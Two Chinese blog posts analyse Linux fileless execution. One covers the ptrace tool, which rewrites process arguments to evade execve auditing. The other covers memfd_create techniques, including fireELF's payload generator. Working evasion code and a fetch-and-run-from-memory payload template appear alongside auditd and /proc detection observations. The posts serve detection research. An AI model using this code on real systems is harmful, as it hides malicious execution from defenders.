标签 ptrace 下的文章

利用ptrace和memfd_create混淆程序名和参数

说明

linux环境下无文件执行elf这篇文章中对ptrace中的memfd_create中的原理进行了说明,但是这个并不是ptrace的全部.在ptrace中还利用了ptrace这个系统调用对进程进行了修改,从而躲过了execve的检测.本文章就是对ptrace这个工具更加详细具体的分析.

在ptrace中除了使用到memfd_create()创建匿名的位于内存中的文件,之后还利用了ptrace这个系统调用.

PS:由于此款工具叫ptrace,同时ptrace也是一个系统调用.为了便于说明,工具就叫做ptrace工具,ptrace就称为ptrace系统调用.

源代码

ptrace工具的核心代码位于ptrace.c文件中.代码如下:

#include "ptrace.h"
#include "anonyexec.h"
#include "elfreader.h"
#include "common.h"
 
int main(int argc, char *argv[], char *envp[])
{
    pid_t  child = 0;
    long   addr  = 0, argaddr = 0;
    int    status = 0, i = 0, arc = 0;
    struct user_regs_struct regs;
    union
    {
        long val;
        char chars[sizeof(long)];
    } data;
    char *args[] = { "/bin/ls", "-a", "-l", NULL };
    uint64_t entry = elfentry(args[0]);    //_start: entry point
 
    child = fork();
    IFMSG(child == -1, 0, "fork");
    IF(child == 0, proc_child(args[0], args));
    MSG("child pid = %d\r\n", child);
    while(1)
    {
        wait(&status);
        if(WIFEXITED(status))
            break;
        // 获取寄存器中的值,并将其保存在regs中
        ptrace(PTRACE_GETREGS, child, NULL, ®s);
        if(regs.rip == entry)
        {
            MSG("EIP: _start %llx \r\n", regs.rip);
            MSG("RSP: %llx\r\n", regs.rsp);
            MSG("RSP + 8 => RDX(char **ubp_av) to __libc_start_main\r\n");
            //解析堆栈数据,栈顶为int argc
            addr = regs.rsp;
            arc = ptrace(PTRACE_PEEKTEXT, child, addr, NULL);
            MSG("argc: %d\r\n", arc);
            //POP ESI后栈顶为char **ubp_av, 同时可见此指针数组存储在堆栈之上
            addr += 8;
            //开始解析和修改参数
            for(i = 1;i < arc;i ++)
            {
                //ptrace(PTRACE_PEEKDATA, pid, addr, data)
                //从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据
                argaddr = ptrace(PTRACE_PEEKTEXT, child, addr + (i * sizeof(void*)), NULL);
                data.val = ptrace(PTRACE_PEEKTEXT, child, argaddr, NULL);
                MSG("src: ubp_av[%d]: %s\r\n", i, data.chars);
                MSG("dst: upb_av[%d]: %s\r\n", i, args[i]);
                //修改参数指针指向的内容,demo暂时不支持超过7个字符的参数
                strncpy(data.chars, args[i], sizeof(long) - 1);
                ptrace(PTRACE_POKETEXT, child, argaddr, data.val);
            }
            ptrace(PTRACE_CONT, child, NULL, NULL);
            ptrace(PTRACE_DETACH, child, NULL, NULL);
            break;
        }
        //调用一下 ptrace(PTRACE_SINGLESTEP) 就能完成这样的事情,这个调用会告诉内核,在子进程每执行完一条子令之后,就停一下
        ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
    }
    return 0;
}
 
static char *encryptedarg = "3abb6677af34ac57c0ca5828fd94f9d886c"
"26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523"
"eed7511e5a9e4b8ccb3a4686";
 
int proc_child(const char *path, char *argv[])
{
    int i = 1;
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    for(i = 1;argv[i] != NULL;i ++)
        argv[i] = encryptedarg;
    anonyexec(path, argv);
    return 0;
}

运行结果

之前在kernel5.0 上面测试运行时,出现了如下的问题:

./ptrace          
child pid = 7392
/proc/self/fd/3: cannot access '3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686': No such file or directory
/proc/self/fd/3: cannot access '3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686': No such file or directory

但是在kernel4.18及其以下的内核都能够运行成功,成功运行的结果如下:

$ ./ptrace
child pid = 58894
EIP: _start 4042d4
RSP: 7ffe6a464980
RSP + 8 => RDX(char **ubp_av) to __libc_start_main
argc: 3
src: ubp_av[1]: 3abb6677
dst: upb_av[1]: -a
src: ubp_av[2]: 3abb6677
dst: upb_av[2]: -l
total 72
drwxrwxr-x.  4 spoock spoock   268 Aug 22 21:55 .
drwxr-xr-x. 10 spoock spoock   189 Aug 22 21:54 ..
drwxrwxr-x.  8 spoock spoock   163 Aug 22 21:54 .git
-rw-rw-r--.  1 spoock spoock   803 Aug 22 21:54 1.c
-rw-rw-r--.  1 spoock spoock   361 Aug 22 21:54 Makefile
-rw-rw-r--.  1 spoock spoock  2842 Aug 22 21:54 README
-rw-rw-r--.  1 spoock spoock   681 Aug 22 21:54 anonyexec.c
-rw-rw-r--.  1 spoock spoock   226 Aug 22 21:54 anonyexec.h
-rw-rw-r--.  1 spoock spoock  2488 Aug 22 21:55 anonyexec.o
-rw-rw-r--.  1 spoock spoock   527 Aug 22 21:54 common.h
-rw-rw-r--.  1 spoock spoock   230 Aug 22 21:54 elfreader.c
-rw-rw-r--.  1 spoock spoock   142 Aug 22 21:54 elfreader.h
-rw-rw-r--.  1 spoock spoock  1544 Aug 22 21:55 elfreader.o
drwxrwxr-x.  2 spoock spoock   174 Aug 22 21:54 libptrace
-rwxrwxr-x.  1 spoock spoock 13768 Aug 22 21:55 ptrace
-rw-rw-r--.  1 spoock spoock  2123 Aug 22 21:54 ptrace.c
-rw-rw-r--.  1 spoock spoock   328 Aug 22 21:54 ptrace.h
-rw-rw-r--.  1 spoock spoock  4568 Aug 22 21:55 ptrace.o

最终输出的total 72.....之后的信息,说明成功执行了ls -a -l

使用auditd监控,得到的结果如下:

type=SYSCALL msg=audit(1566540263.416:2144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff5c378750 a1=7fff5c3788d0 a2=0 a3=7fff5c3781a0 items=2 ppid=58893 pid=58894 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=1 comm="3" exe=2F6D656D66643A656C66202864656C6574656429 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="procmon"
type=EXECVE msg=audit(1566540263.416:2144): argc=3 a0="/proc/self/fd/3" a1="3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686" a2="3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686"
type=CWD msg=audit(1566540263.416:2144):  cwd="/home/centos/Desktop/ptrace"
type=PATH msg=audit(1566540263.416:2144): item=0 name="/proc/self/fd/3" inode=264888 dev=00:04 mode=0100777 ouid=1000 ogid=1000 rdev=00:00 obj=unconfined_u:object_r:user_tmp_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566540263.416:2144): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1415463 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566540263.416:2144): proctitle=2F70726F632F73656C662F66642F330033616262363637376166333461633537633063613538323866643934663964383836633236636535396138636536306563663637373830373934323364636366663164366631396362363535383035643536303938653664333861316137313064656535393532336565643735313165

发现通过1execve获取到的结果是:

a0="/proc/self/fd/3" a1="3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686" a2="3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686"

并没有捕获到ls -a -l的命令

直接观察/proc下面的进程信息,得到的结果如下:

{
    "pid": "58894",
    "ppid": "58893",
    "uid": "1000",
    "cmdline": "/proc/self/fd/3 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686 ",
    "exe": "/memfd:elf (deleted)",
    "cwd": "/home/centos/Desktop/ptrace"
}

发现cmdline的结果与audit监控到的结果一样,但exe(/memfd:elf(deleted))却暴露了其文件是由memfd_create()创建的.

其实程序执行的是ls -a -l,但是最终监控到的只有/proc/self/fd/3 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686完全隐藏了执行的进程名和参数,完全无法检测到.这也就是ptrace这个工具说的Linux低权限模糊化执行的程序名和参数,避开基于execve系统调用监控的命令日志.

原理分析

ptrace首先定义了自己需要执行的实际的命令:

char *args[] = { "/bin/ls", "-a", "-l", NULL };

整个工具就是围绕实际执行/bin/ls -a -l却不会被检测出来展开的.

fork创建子进程

child = fork();
IFMSG(child == -1, 0, "fork");
IF(child == 0, proc_child(args[0], args));
MSG("child pid = %d\r\n", child);

通过fork()创建一个子进程,创建成功,子进程执行proc_child(args[0], args).

static char *encryptedarg = "3abb6677af34ac57c0ca5828fd94f9d886c"
"26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523"
"eed7511e5a9e4b8ccb3a4686";
 
int proc_child(const char *path, char *argv[])
{
    int i = 1;
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    for(i = 1;argv[i] != NULL;i ++)
        argv[i] = encryptedarg;
    anonyexec(path, argv);
    return 0;
}

首先分析for()循环,当子进程实际执行proc_child()时:

  • path:/bin/ls
  • argv[]:char args[] = { "/bin/ls", "-a", "-l", NULL };
    经过for循环之后,path和argv变为了:
  • path:/bin/ls
  • argv[]:char args[] = { "/bin/ls", "3abb6677af34ac5.........", "3abb6677af34ac5.........", NULL };此时再调用anonyexec(path, argv);,按照linux环境下无文件执行elf分析,最终执行的就是/proc/self/fd/3 3abb6677....... 3abb6677....... 其中的/proc/self/fd/3就是/bin/ls.到这里,实际上我们只是执行了ls,并不是/bin/ls -a -l.

父进程调试子进程

在proc_child()中存在如下代码:ptrace(PTRACE_TRACEME, 0, NULL, NULL); 借用玩转ptrace (一)这篇文章中的说法:

ptrace 的使用流程一般是这样的:父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACE_TRACEME 为参数。这个调用是为了告诉内核,当前进程已经正在被 traced,当子进程执行 execve() 之后,子进程会进入暂停状态,把控制权转给它的父进程(SIG_CHLD信号), 而父进程在fork()之后,就调用 wait() 等子进程停下来,当 wait() 返回后,父进程就可以去查看子进程的寄存器或者对子进程做其它的事情了

所以在父进程的while(1)循环中有wait(&status);就是用来处理子进程的.

修改子进程

确认执行ls

uint64_t entry = elfentry(args[0]);    //_start: entry point
....
ptrace(PTRACE_GETREGS, child, NULL, &regs);
if(regs.rip == entry)
{
    .....
  • uint64_t entry = elfentry(args[0]); 其中的args[0]就是/bin/ls,所以entry其实就是得到/bin/ls的entry
  • ptrace(PTRACE_GETREGS, child, NULL, ®s); 获取child进程的寄存器的值,并将其保存到®s中,®s是一个user_regs_struct类型的结构体
  • if(regs.rip == entry) 这个的含义就是判断如果判断当前的执行的进程如果是正在执行/bin/ls,则进入到下面的处理流程中

获取参数个数

//解析堆栈数据,栈顶为int argc
addr = regs.rsp;
arc = ptrace(PTRACE_PEEKTEXT, child, addr, NULL);

ptrace(PTRACE_PEEKDATA, pid, addr, data),从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,所以上面就是获取栈顶数据,就是参数个数.

修改参数值

for(i = 1;i < arc;i ++)
{
    //ptrace(PTRACE_PEEKDATA, pid, addr, data)
    //从内存地址中读取一个字节,pid表示被跟踪的子进程,内存地址由addr给出,data为用户变量地址用于返回读到的数据
    argaddr = ptrace(PTRACE_PEEKTEXT, child, addr + (i * sizeof(void*)), NULL);
    data.val = ptrace(PTRACE_PEEKTEXT, child, argaddr, NULL);
    MSG("src: ubp_av[%d]: %s\r\n", i, data.chars);
    MSG("dst: upb_av[%d]: %s\r\n", i, args[i]);
    //修改参数指针指向的内容,demo暂时不支持超过7个字符的参数
    strncpy(data.chars, args[i], sizeof(long) - 1);
    ptrace(PTRACE_POKETEXT, child, argaddr, data.val);
}

由于第一个参数args[0]的值是/bin/ls,并不需要进行修改.在前面fork创建子进程的这一章节中,args[1]和args[2]的参数都是3abb6677....... .

  1. 通过ptrace()获取到寄存器中的值,实际就是3abb6677.......
  2. 利用strncpy(data.chars, args[i], sizeof(long) - 1); 进行修改
  3. ptrace(PTRACE_POKETEXT, child, argaddr, data.val); 写回寄存器

以上三步就修改了寄存器中的值,由原来的3abb6677....... 分别修改为了-a 和-l
最后调用ptrace(PTRACE_CONT/PTRACE_DETACH/PTRACE_SINGLESTEP, child, NULL, NULL);结束整个ptrace的操作.
所以父进程通过ptrace的方式,修改了位于寄存器中的参数值,而可执行的binary通过过memfd_create()的方式最终也变为了/proc/self/fd/3,所以通过execve和/proc的cmdline观察并不能看到真实执行的命令.

总结

对ptrace的分析整体下来十分有趣.通过对ptrace的分析,其实也告诉了我们,进程的cmdline并不可靠,execve获取执行命令不一定是实际执行的命令.那么在execve和cmdline都不一定完全可靠的情况下,我们有如何能够检测到这种行为呢?当然通过syscall hook ptrace当然是可以捕获到通过ptrace来修改进程的参数的行为,但是syscall hook是不是一个唯一解呢?

参考

Linux环境下无文件执行elf

说明

有关linux无文件渗透执行elf的文章晚上已经有非常多了,比如In-Memory-Only ELF Execution (Without tmpfs)ELF in-memory execution以及这两篇文章对应的中文版本Linux无文件渗透执行ELFLinux系统内存执行ELF的多种方式,还存在部分工具fireELF(介绍:fireELF:无文件Linux恶意代码框架).所有的无文件渗透最关键的方法就是memfd_create()这个方法.

MEMFD_CREATE

关于MEMFD_CREATE,在其介绍上面的说明如下:MEMFD_CREATE
int memfd_create(const char *name, unsigned int flags);

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file,and so can be modified, truncated, memory-mapped, and so on.However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using mmap with the MAP_ANONYMOUS flag.

The initial size of the file is set to 0. Following the call, the file size should be set using ftruncate(2). (Alternatively, the file may be populated by calls to write(2) or similar.)

The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

翻译为中文就是:
memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符.这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等.不同于一般文件,此文件是保存在RAM中.一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放.匿名内存用于此文件的所有的后备存储.所以通过memfd_create()创建的匿名文件和通过mmap以MAP_ANONYMOUS的flag创建的匿名文件具有相同的语义.
这个文件的初始化大小是0,之后可以通过ftruncate或者write的方式设置文件大小.
memfd_create()函数提供的文件名,将会在/proc/self/fd所指向的连接上展现出来,但是文件名通常会包含有memfd的前缀.这个文件名仅仅只是用来debug,对这个匿名文件的使用没有任何的影响,同时多个文件也能够有一个相同的文件名.

在介绍完了memfd_create()之后,我们将以几个实际的例子来说明情况.

ptrace

ptrace是由奇安信推出的一个开源的工具,其介绍是 Linux低权限模糊化执行的程序名和参数,避开基于execve系统调用监控的命令日志.其示例代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <errno.h>
 
int anonyexec(const char *path, char *argv[])
{
    int   fd, fdm, filesize;
    void *elfbuf;
    char  cmdline[256];
 
    fd = open(path, O_RDONLY);
    filesize = lseek(fd, SEEK_SET, SEEK_END);
    lseek(fd, SEEK_SET, SEEK_SET);
    elfbuf = malloc(filesize);
    read(fd, elfbuf, filesize);
    close(fd);
    fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
    ftruncate(fdm, filesize);
    write(fdm, elfbuf, filesize);
    free(elfbuf);
    sprintf(cmdline, "/proc/self/fd/%d", fdm);
    argv[0] = cmdline;
    execve(argv[0], argv, NULL);
    free(elfbuf);
    return -1;
}
 
int main()
{
    char *argv[] = {"/bin/uname", "-a", NULL};
    int result =anonyexec("/bin/uname", argv);
    return result;
}

对以上的代码进行分析

lseek

lseek的函数原型是:

#include <unistd.h>
 
off_t lseek(int fd,off_t offset,int whence); /*Returns new file offset if successful, or -1 on error*/

其中whence的取值有三个,分别是SEEK_SET,SEEK_CUR,SEEK_END三个值,取值不同对offset的解释也不同,具体参考LSEEK(2)

而本例中的 filesize = lseek(fd, SEEK_SET, SEEK_END); 等价于 filesize = lseek(fd, 0, SEEK_END); 表示获取整个文件的大小

fd = open(path, O_RDONLY);
filesize = lseek(fd, SEEK_SET, SEEK_END);
lseek(fd, SEEK_SET, SEEK_SET);
elfbuf = malloc(filesize);
read(fd, elfbuf, filesize);

所以上面的代码含义就是:读取path文件,通过lseek获取path文件的大小,并通过write函数将path文件的内容写入到elfbuf中.

memfd_create

按照我们前面对memfd_create的讨论,直接通过memfd_creat("elf", MFD_CLOEXEC);这样理论上就可以得到一个匿名文件的fd 和上面代码中的 syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);是完全等价的

关于这一点我非常的纳闷,后来看了In-Memory-Only ELF Execution 才知道这篇文章中使用的perl语言,考虑到在perl语言中没有libc库,所以无法直接调用memfd_create()函数.所以需要借助与syscall的方式调用memfd_create()方法.那么通过syscall()调用需要知道memfd_create()的系统调用码.

$ uname -a
Linux 5.0.0-25-generic #26~18.04.1-Ubuntu SMP Thu Aug 1 13:51:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)
linux/memfd.h:#define MFD_CLOEXEC       0x0001U
valgrind/vki/vki-scnums-x86-linux.h:#define __NR_memfd_create       356
valgrind/vki/vki-scnums-ppc64-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-arm-linux.h:#define __NR_memfd_create               385
valgrind/vki/vki-scnums-mips64-linux.h:#define __NR_memfd_create           (__NR_Linux + 314)
valgrind/vki/vki-scnums-s390x-linux.h:#define __NR_memfd_create 350
valgrind/vki/vki-scnums-arm64-linux.h:#define __NR_memfd_create 279
valgrind/vki/vki-scnums-ppc32-linux.h:#define __NR_memfd_create 360
valgrind/vki/vki-scnums-mips32-linux.h:#define __NR_memfd_create        (__NR_Linux + 354)
valgrind/vki/vki-scnums-amd64-linux.h:#define __NR_memfd_create       319
x86_64-linux-gnu/bits/mman-shared.h:# ifndef MFD_CLOEXEC
x86_64-linux-gnu/bits/mman-shared.h:#  define MFD_CLOEXEC 1U
x86_64-linux-gnu/bits/syscall.h:#ifdef __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:# define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319

memfd_create的函数调用码是319,MFD_CLOEXEC对应的值是1U.综合以下的三种方式都是等价的:

  • memfd_create("elf",MFD_CLOSEXEC)
  • syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
  • syscall(319,"elf",1);

除此之外,还要说明下MFD_CLOEXEC这个设置的含义.MFD_CLOEXEC等同于close-on-exec.顾名思义,就是在运行完毕之后关闭这个文件句柄.在复杂系统中,有时我们fork子进程时已经不知道打开了多少个文件描述符(包括socket句柄等),这此时进行逐一清理确实有很大难度。我们期望的是能在fork子进程前打开某个文件句柄时就指定好:“这个句柄我在fork子进程后执行exec时就关闭”。其实时有这样的方法的:即所谓的 close-on-exec。

execve

执行的关键代码是:

sprintf(cmdline, "/proc/self/fd/%d", fdm);
argv[0] = cmdline;
execve(argv[0], argv, NULL);

将所得到的匿名文件句柄赋值给当前进程的文件描述符,返回给cmdline,所以cmdline就是当前进程的文件描述符(其内容就是anonyexec函数所传递过来的path的内容)
所以execve(argv[0],argv,NULL),在本例中就等同于execve("/binuname","-a",NULL);
通过auditd监控,我们得到的结果如下:

type=EXECVE msg=audit(1566354435.549:153): argc=2 a0="/proc/self/fd/4" a1="-a"
type=CWD msg=audit(1566354435.549:153): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566354435.549:153): item=0 name="/proc/self/fd/4" inode=1550663 dev=00:05 mode=0100777 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566354435.549:153): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566354435.549:153): proctitle="./a.out"

捕获到的代码执行的语句是 type=EXECVE msg=audit(1566354435.549:153): argc=2 a0="/proc/self/fd/4" a1="-a" 根本就没有出现uname,而是/proc/self/fd/4,躲避了利用execve进行命令监控的检测.

通过监控proc,得到对应的信息是: {"pid":"8360","ppid":"22571","uid":"1000","cmdline":"/proc/self/fd/4 -a ","exe":"/memfd:elf (deleted)","cwd":"/home/spoock/Desktop/test"} 与auditd监控到的数据是吻合的.

至于memfd_create()函数提供的文件名,在exe上面体现出来了,即/memfd:elf (deleted),以memfd:开头紧接着是文件名.

ELF in-memory execution

再来看看在ELF in-memory execution中的示例程序,与ptrace的程序还是存在区别.

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
 
int main() {
    int fd;
    pid_t child;
    char buf[BUFSIZ] = "";
    ssize_t br;
 
    fd = syscall(SYS_memfd_create, "foofile", 0);
    if (fd == -1) {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }
 
    child = fork();
    if (child == 0) {
        dup2(fd, 1);
        close(fd);
        execlp("/bin/date", "", NULL);
        perror("execlp date");
        exit(EXIT_FAILURE);
    } else if (child == -1) {
        perror("fork");
        exit(EXIT_FAILURE);
    }
 
    waitpid(child, NULL, 0);
 
    lseek(fd, 0, SEEK_SET);
    br = read(fd, buf, BUFSIZ);
    if (br == -1) {
        perror("read");
        exit(EXIT_FAILURE);
    }
    buf[br] = 0;
 
    printf("pid:%d\n", getpid());
    printf("child said: '%s'\n", buf);
    pause();
    exit(EXIT_SUCCESS);
}

与ptrace不同的是,上述的代码使用了fork()来实现无文件渗透的目的.前面的fd = syscall(SYS_memfd_create, "foofile", 0);和ptrace的含义一样,这里就不做说明了.

fork

child = fork();
if (child == 0) {
    dup2(fd, 1);
    close(fd);
    execlp("/bin/date", "/bin/date", NULL);
    perror("execlp date");
    exit(EXIT_FAILURE);
} else if (child == -1) {
    perror("fork");
    exit(EXIT_FAILURE);
}
  1. child=fork(),fork得到一个子进程;
  2. child == 0 判断当前的进程是否为子进程,如果是子进程,就进行后面的操作;
  3. dup2(fd, 1);close(fd); 将子进程的1文件描述符(标准输出)指向fd
  4. execlp("/bin/date", "/bin/date", NULL); execlp()和execve()的作用一样,都是执行程序.在这里就是执行/bin/date代码;

由于子进程已经将标准输出指向了fd,那么通过execlp("/bin/date", "/bin/date", NULL);执行的结果就会写入到fd中.

read

关于fork,我们需要明确的是,执行fork()时,子进程会获得父进程所以文件描述符的副本.这些副本的创建方式类似于dup(),这也意味着父,子进程中对应的描述符均指向相同的打开文件句柄.所以在子进程对fd修改了之后,在父进程中也是能够看到对fd修改的.

分析下面的代码:

lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1) {
     perror("read");
     exit(EXIT_FAILURE);
}
buf[br] = 0;
  1. lseek(fd, 0, SEEK_SET); 将文件fd的偏移量重置为文件开头
  2. br = read(fd, buf, BUFSIZ); 读取fd的大小至buf中,并返回读取文件的长度br
  3. buf[br] = 0; 将最后一个字符设置为0

最终就是通过printf("child said: '%s'n", buf); 打印fd的结果,其实就是/bin/date的执行结果.
我们分析通过audit和proc下面来观察执行过程.
audit的查看结果如下:

type=SYSCALL msg=audit(1566374961.124:5777): arch=c000003e syscall=59 success=yes exit=0 a0=55d8b6c9ac1a a1=7ffdd40de700 a2=7ffdd40e08a8 a3=0 items=2 ppid=22918 pid=22919 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=2 comm="date" exe="/bin/date" key="rule01_exec_command"
type=EXECVE msg=audit(1566374961.124:5777): argc=1 a0=""
type=CWD msg=audit(1566374961.124:5777): cwd="/home/spoock/Desktop/test"
type=PATH msg=audit(1566374961.124:5777): item=0 name="/bin/date" inode=8912931 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PATH msg=audit(1566374961.124:5777): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=11014834 dev=08:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1566374961.124:5777): proctitle="(null)"

在proc中查看的信息:

$ ls -al /proc/22918/fd
total 0
dr-x------ 2 spoock spoock  0 Aug 21 17:58 .
dr-xr-xr-x 9 spoock spoock  0 Aug 21 17:52 ..
lrwx------ 1 spoock spoock 64 Aug 21 17:58 0 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 1 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 2 -> /dev/pts/1
lrwx------ 1 spoock spoock 64 Aug 21 17:58 3 -> '/memfd:foofile (deleted)'
 
$ ls -al /proc/22918/exe
lrwxrwxrwx 1 spoock spoock 0 Aug 21 17:52 /proc/22918/exe -> /home/spoock/Desktop/test/a.out

这个特征还是很明显的,文件描述符3和ptrace的特征是一样的,都是以memfd开头,后面跟着是通过memfd_create()创建的匿名文件的名字.

fireELF

fireELF也是一款无文件的渗透测试工具,其介绍如下:

fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with 'memfd_create' which is a new way to run linux elf executables completely from memory, without having the binary touch the harddrive.

根据其介绍,说明其也是通过memfd_create()的方式来创建一个位于内存中的匿名文件进行无文件渗透实验的.分析其核心代码:simple.py

import base64
 
desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"}
 
def main(is_url, url_or_payload):
    payload = '''import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve'''
    if is_url:
        payload += '\ncontent = urllib2.urlopen("{}").read()'.format(url_or_payload)
    else:
        encoded_payload = base64.b64encode(url_or_payload).decode()
        payload += '\ncontent = base64.b64decode("{}")'.format(encoded_payload)
    payload += '''\nfd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)'''
    return payload

其实关键代码还是:

libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fd = syscall(319, "", 1)
fexecve = libc.fexecve
os.write(fd, content)
fexecve(fd, argv, argv)

本质上还是调用memfd_create()创建了一个匿名文件,通过os.write(fd, content)注入payload,最后利用fexecve(fd, argv, argv)执行.和前面的两种做法本质上还是一样的.

总结

无文件执行elf本质上其实就是利用了memfd_create()创建了一个位于内存中的匿名文件,某种程度上给检测还是带来一些挑战.虽然如此,通过memfd_create()的方式执行elf还是有一些特征的.

参考

Linux无文件渗透执行ELF
Linux系统内存执行ELF的多种方式